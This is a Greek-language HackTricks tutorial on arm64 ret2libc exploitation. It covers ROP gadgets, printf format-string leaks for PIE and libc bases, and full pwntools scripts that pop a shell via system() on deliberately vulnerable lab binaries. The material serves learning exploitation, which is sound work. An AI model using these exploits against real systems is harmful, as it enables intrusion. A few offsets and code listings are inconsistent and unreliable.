Ret2lib + Printf leak - arm64

Υποστήριξη HackTricks

Ret2lib - NX bypass με ROP (χωρίς ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Συγκέντρωση χωρίς καναρίδα:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Βρείτε την απόσταση

Απόσταση x30

Δημιουργώντας ένα μοτίβο με pattern create 200, χρησιμοποιώντας το και ελέγχοντας για την απόσταση με pattern search $x30 μπορούμε να δούμε ότι η απόσταση είναι 108 (0x6c).

Ρίχνοντας μια ματιά στη διασπασμένη κύρια συνάρτηση μπορούμε να δούμε ότι θα θέλαμε να πηδήξουμε στην εντολή για να πηδήξουμε απευθείας στο printf, της οποίας η απόσταση από το σημείο που φορτώνεται το δυαδικό είναι 0x860:

Βρείτε τη συνάρτηση system και τη συμβολοσειρά /bin/sh

Καθώς το ASLR είναι απενεργοποιημένο, οι διευθύνσεις θα είναι πάντα οι ίδιες:

Βρείτε Gadgets

Πρέπει να έχουμε στο x0 τη διεύθυνση της συμβολοσειράς /bin/sh και να καλέσουμε system.

Χρησιμοποιώντας το rooper βρέθηκε ένα ενδιαφέρον gadget:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Αυτή η συσκευή θα φορτώσει το x0 από $sp + 0x18 και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα πηδήξει στο x30. Έτσι, με αυτή τη συσκευή μπορούμε να ελέγξουμε το πρώτο επιχείρημα και στη συνέχεια να πηδήξουμε στο σύστημα.

Εκμετάλλευση

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - Παράκαμψη NX, ASL & PIE με leaks από το stack μέσω printf

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Συγκεντρώστε χωρίς καναρίνι:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE και ASLR αλλά χωρίς canary

  • Γύρος 1:

  • Διαρροή του PIE από τη στοίβα

  • Κατάχρηση bof για να επιστρέψουμε στο main

  • Γύρος 2:

  • Διαρροή της libc από τη στοίβα

  • ROP: ret2system

Διαρροές Printf

Ρυθμίζοντας ένα breakpoint πριν καλέσουμε το printf, είναι δυνατόν να δούμε ότι υπάρχουν διευθύνσεις για επιστροφή στο δυαδικό στην στοίβα και επίσης διευθύνσεις libc:

Δοκιμάζοντας διαφορετικά offsets, το %21$p μπορεί να διαρρεύσει μια διεύθυνση δυαδικού (bypass PIE) και το %25$p μπορεί να διαρρεύσει μια διεύθυνση libc:

Αφαιρώντας τη διαρρεύσουσα διεύθυνση libc από τη βασική διεύθυνση της libc, είναι δυνατόν να δούμε ότι το offset της διαρρεύσουσας διεύθυνσης από τη βάση είναι 0x49c40.

offset x30

Δείτε το προηγούμενο παράδειγμα καθώς το bof είναι το ίδιο.

Βρείτε Gadgets

Όπως στο προηγούμενο παράδειγμα, πρέπει να έχουμε στο x0 τη διεύθυνση της συμβολοσειράς /bin/sh και να καλέσουμε system.

Χρησιμοποιώντας το rooper, βρέθηκε ένα άλλο ενδιαφέρον gadget:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Αυτή η συσκευή θα φορτώσει το x0 από $sp + 0x78 και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα πηδήξει στο x30. Έτσι, με αυτή τη συσκευή μπορούμε να ελέγξουμε το πρώτο επιχείρημα και στη συνέχεια να πηδήξουμε στο system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Υποστηρίξτε το HackTricks

Last updated